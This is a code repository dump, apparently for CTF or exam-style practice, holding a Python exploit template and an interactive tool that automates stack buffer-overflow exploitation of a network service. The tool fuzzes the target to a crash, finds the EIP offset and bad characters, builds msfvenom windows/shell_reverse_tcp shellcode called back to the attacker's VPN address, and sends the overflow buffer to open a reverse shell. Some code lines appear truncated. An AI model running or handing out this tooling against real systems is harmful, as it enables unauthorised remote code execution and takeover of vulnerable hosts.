├── .gitignore ├── screenshots ├── 1.png ├── 2.png └── 3.png ├── exploit-template.py ├── README.md └── buffer-overflow.py /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | pattern.buf 3 | -------------------------------------------------------------------------------- /screenshots/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/the-c0d3r/buffer-overflow/HEAD/screenshots/1.png -------------------------------------------------------------------------------- /screenshots/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/the-c0d3r/buffer-overflow/HEAD/screenshots/2.png -------------------------------------------------------------------------------- /screenshots/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/the-c0d3r/buffer-overflow/HEAD/screenshots/3.png -------------------------------------------------------------------------------- /exploit-template.py: -------------------------------------------------------------------------------- 1 | 2 | import socket, time, sys, struct, os 3 | 4 | 5 | def send_data(data: bytes, timeout=5) -> None: 6 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | s.settimeout(timeout) 8 | connect = s.connect((ip, port)) 9 | s.recv(1024) 10 | if type(data) == str: 11 | data = data.encode() 12 | s.send(data) 13 | s.recv(1024) 14 | s.close() 15 | 16 | 17 | def exploit(offset): 18 | # shellcode here 19 | # > msfvenom -p windows/shell_reverse_tcp LHOST=10.9.55.4 LPORT=443 EXITFUNC=thread -b "\x00\x08\x2c\xad" -f python -v shellcode 20 | shellcode = b"" 21 | 22 | # EIP value to overwrite, without the 0x 23 | eip_value = "" 24 | 25 | padding = "A" * offset 26 | eip = struct.pack(" None: 11 | """function to execute command and print out the command""" 12 | print(f"[+] Executing: {command}") 13 | os.system(command) 14 | 15 | 16 | def send_data(data: Union[bytes, str], timeout: int = 5) -> None: 17 | """function to send bytes to the target""" 18 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | s.settimeout(timeout) 20 | s.connect((ip, port)) 21 | 22 | if not noreceive: 23 | print("[+] Received: ", s.recv(1024).decode()) 24 | 25 | if type(data) == str: 26 | data = data.encode() 27 | 28 | s.send(data) 29 | print("[+] Sent: {}".format(data)) 30 | 31 | print("[+] Received: ", s.recv(1024).decode()) 32 | s.close() 33 | 34 | 35 | def fuzz(start: int = 100, end: int = 10000) -> int: 36 | """fuzz the application with increasing size of buffer""" 37 | try: 38 | while start <= end: 39 | fuzz_str = "A" * start 40 | print("[+] Fuzzing with %s bytes" % len(fuzz_str)) 41 | send_data(prefix + fuzz_str.encode() + suffix) 42 | time.sleep(1) 43 | start += step 44 | except ConnectionRefusedError: 45 | print("[-] Connection refused") 46 | except socket.timeout: 47 | offset = start 48 | print(f"[!] Crashed at: {offset}") 49 | return offset 50 | 51 | 52 | def send_cyclic(offset: int) -> int: 53 | """Cyclic pattern to send to the app, and check for the exact pattern""" 54 | print("\n[+] Creating cyclic pattern with offset") 55 | command = f"{msf}/tools/exploit/pattern_create.rb -l {offset} > pattern.buf" 56 | execute(command) 57 | buffer = open("pattern.buf", "r").read() 58 | print("[!] Restart the app") 59 | input("[~] Press enter to send cyclic pattern") 60 | 61 | try: 62 | if suffix != b"\n": 63 | send_data(prefix + buffer.encode() + suffix) 64 | else: 65 | send_data(prefix + buffer.encode()) 66 | except socket.timeout: 67 | print("[~] Crashed the app, check the EIP") 68 | 69 | eip = input("[?] Enter EIP value: ") 70 | 71 | command = f"{msf}/tools/exploit/pattern_offset.rb -q {eip.strip()}" + " | awk '{print $6}' > /tmp/offset" 72 | execute(command) 73 | 74 | with open("/tmp/offset", "r") as fp: 75 | content = fp.read() 76 | if content == "": 77 | print("[-] Unable to get a match") 78 | exit() 79 | else: 80 | offset = content.strip("\n") 81 | print(f"[+] Offset found at address {offset}") 82 | return int(offset) 83 | 84 | 85 | def generate_chars(badchars: [str]) -> bytes: 86 | """ 87 | generate all chars after filtering out badchars 88 | :param badchars: ["\\x0a", "\\x0d"] 89 | :return: "0102.." 90 | """ 91 | char_str = "" 92 | 93 | for x in range(1, 256): 94 | current_char = "\\x" + '{:02x}'.format(x) 95 | 96 | if current_char not in badchars: 97 | char_str += current_char[2:] 98 | # remove the leading "\x" 99 | return binascii.unhexlify(char_str) 100 | 101 | 102 | def badchars_esp(offset: int) -> str: 103 | print("\n[!] Restart the app") 104 | input("[+] Press enter to send bad chars") 105 | print("[!] Pro tip: !mona bytearray -f \"\\x00\"") 106 | 107 | # default badchar as \x00 108 | current_badchars = ["\\x00"] 109 | 110 | while True: 111 | # convert the hexstring into binary 112 | allchars = generate_chars(current_badchars) 113 | 114 | padding = "A" * offset 115 | eip = "B" * 4 116 | esp = "C" * 8 117 | 118 | buffer = padding.encode() + eip.encode() + allchars 119 | 120 | try: 121 | print("[?] Sending buffer") 122 | send_data(prefix + buffer + suffix) 123 | except socket.timeout: 124 | print("\n[+] allchars sent") 125 | 126 | print("[+] Current_badchars: ", current_badchars) 127 | print("[!] Pro tip: !mona compare -f c:\\path\\bytearray.bin -a esp") 128 | print("[!] Restart the app") 129 | command = input("[+] Enter badchar (\\x00 \\x01 ..) to filter out (type 'exit' to skip): ").strip() 130 | if command == "exit": 131 | break 132 | elif " " in command: 133 | current_badchars.extend(command.split(" ")) 134 | elif command != "": 135 | current_badchars.append(command) 136 | 137 | print("[+] Badchars detected: ", "".join(current_badchars)) 138 | return "".join(current_badchars) 139 | 140 | 141 | def badchars_not_esp(offset: int) -> str: 142 | current_badchars = ["\\x00"] 143 | 144 | while True: 145 | # convert the hexstring into binary 146 | allchars = generate_chars(current_badchars) 147 | 148 | number = input("[+] Enter amount to send (enter to sendall, exit to end): ").strip() 149 | if number == "exit": 150 | break 151 | elif number == "": 152 | number = len(allchars) 153 | 154 | bindex = int(number) 155 | if bindex > len(allchars): 156 | bindex = len(allchars) 157 | 158 | # steps, send all 255, does it crash? 159 | 160 | padding = "A" * offset 161 | eip = "B" * 4 162 | esp = "C" * 8 163 | 164 | # buffer not in ESP 165 | buffer = allchars[:bindex] + padding[len(allchars[:bindex]):].encode() + eip.encode() + esp.encode() 166 | 167 | try: 168 | send_data(prefix + buffer + suffix) 169 | except socket.timeout: 170 | print("\n[+] Allchars sent") 171 | 172 | print("[+] Current_badchars: ", current_badchars) 173 | command = input("[+] Enter badchar to filter out (enter to skip): ").strip() 174 | if command == "exit": 175 | break 176 | elif " " in command: 177 | current_badchars.extend(command.split(" ")) 178 | elif command != "": 179 | current_badchars.append(command) 180 | 181 | print("[+] Badchars detected: ", "".join(current_badchars)) 182 | return "".join(current_badchars) 183 | 184 | 185 | def shell_gen(badchars: str) -> None: 186 | """Generates the shellcode using the vpn tunnel ip address""" 187 | execute(f"ip addr show {interface} | grep 'inet ' | " + "awk '{print $2}' | cut -d'/' -f1 > /tmp/ip") 188 | ip = open("/tmp/ip", "r").read().strip() 189 | print(f"[+] IP Detected: {ip}") 190 | 191 | command = f"msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={rport} EXITFUNC=thread -b \"{badchars}\" -f raw > /tmp/shellcode 2>/dev/null" 192 | execute(command) 193 | print("[+] Generated shellcode at /tmp/shellcode") 194 | 195 | 196 | def exploit(offset: int, badchars: str) -> None: 197 | global eip_str 198 | 199 | print(f"[!] Pro tip: !mona jmp -r esp -cpb \"{badchars}\"") 200 | print("[!] Restart the app") 201 | eip_str = input("[+] Enter EIP address to overwrite (without 0x): ").strip() 202 | 203 | padding = "A" * offset 204 | eip = struct.pack(" None: 229 | """function check if esp has enough room for shellcode""" 230 | padding = "A" * offset 231 | eip = "B" * 4 232 | esp = "C" * 500 233 | 234 | print("[!] Restart the app") 235 | input("[=] Press enter to send huge buffer (500 bytes of C) to check for space on ESP") 236 | buffer = padding.encode() + eip.encode() + esp.encode() 237 | 238 | try: 239 | print("[?] Sending buffer") 240 | send_data(prefix + buffer + suffix) 241 | except socket.timeout: 242 | print("[+] Buffer sent, check for the ESP register content") 243 | 244 | 245 | def main() -> None: 246 | """main function to start the exploit""" 247 | global offset 248 | 249 | # if offset is not given from args, then fuzz 250 | if offset == 0: 251 | offset = fuzz() 252 | offset = send_cyclic(offset) 253 | 254 | check_esp(offset) 255 | question = input("[?] Is the payload small enough to be sent in ESP (y/n): ").strip() 256 | payload_in_esp = question.lower() == "y" 257 | 258 | if payload_in_esp: 259 | badchars = badchars_esp(offset) 260 | else: 261 | badchars = badchars_not_esp(offset) 262 | 263 | shell_gen(badchars) 264 | exploit(offset, badchars) 265 | 266 | print("\n[+] Exploit Info") 267 | print(f"[+] Address: {ip}:{port}") 268 | print(f"[+] EIP offset: {offset} bytes") 269 | print(f"[+] EIP value: 0x{eip_str}") 270 | print(f"[+] Bad chars: {badchars}") 271 | print(f"[+] Shell code: msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={rport} EXITFUNC=thread -b \"{badchars}\" -f python -v shellcode") 272 | 273 | 274 | if __name__ == "__main__": 275 | import argparse 276 | 277 | parser = argparse.ArgumentParser(description = "Buffer overflow exploit testing tool") 278 | parser.add_argument("--offset", help= "eip offset if already known, this will skip offset finding", default = 0) 279 | parser.add_argument("--prefix", help = "prefix of the string to send", default = "") 280 | parser.add_argument("--suffix", help = "suffix of the string to send", default = "") 281 | parser.add_argument("--ip", help = "target ip address", required = True) 282 | parser.add_argument("--port", help = "target port to exploit", required = True) 283 | parser.add_argument("--rport", help = "reverse shell port", default = 443) 284 | parser.add_argument("--interface", help = "the interface to use", default = "tun0") 285 | parser.add_argument("--msf", help = "metasploit framework directory to use", default = "/usr/share/metasploit-framework") 286 | parser.add_argument("--noreceive", help = "use if the program doesn't send an initial response on connect", default = False, action="store_true") 287 | parser.add_argument("--newline", help = "add newline character to the end of the sent data", default = False, action ="store_true") 288 | parser.add_argument("--step", help = "step increment for fuzzing, default 100, try increasing if EIP is not overwritten", default = 100) 289 | 290 | args = parser.parse_args() 291 | 292 | global ip, port, timeout, prefix, suffix, rport, interface, msf, noreceive, newline, offset, step 293 | ip: str = args.ip 294 | port: int = int(args.port) 295 | rport: int = int(args.rport) 296 | timeout: int = 5 297 | prefix: bytes = args.prefix.encode() 298 | suffix: bytes = args.suffix.encode() 299 | interface: str = args.interface 300 | msf: str = args.msf 301 | noreceive: bool = args.noreceive 302 | newline: bool = args.newline 303 | offset: int = int(args.offset) 304 | step: int = int(args.step) 305 | 306 | if newline: 307 | suffix += b"\n" 308 | 309 | main() 310 | --------------------------------------------------------------------------------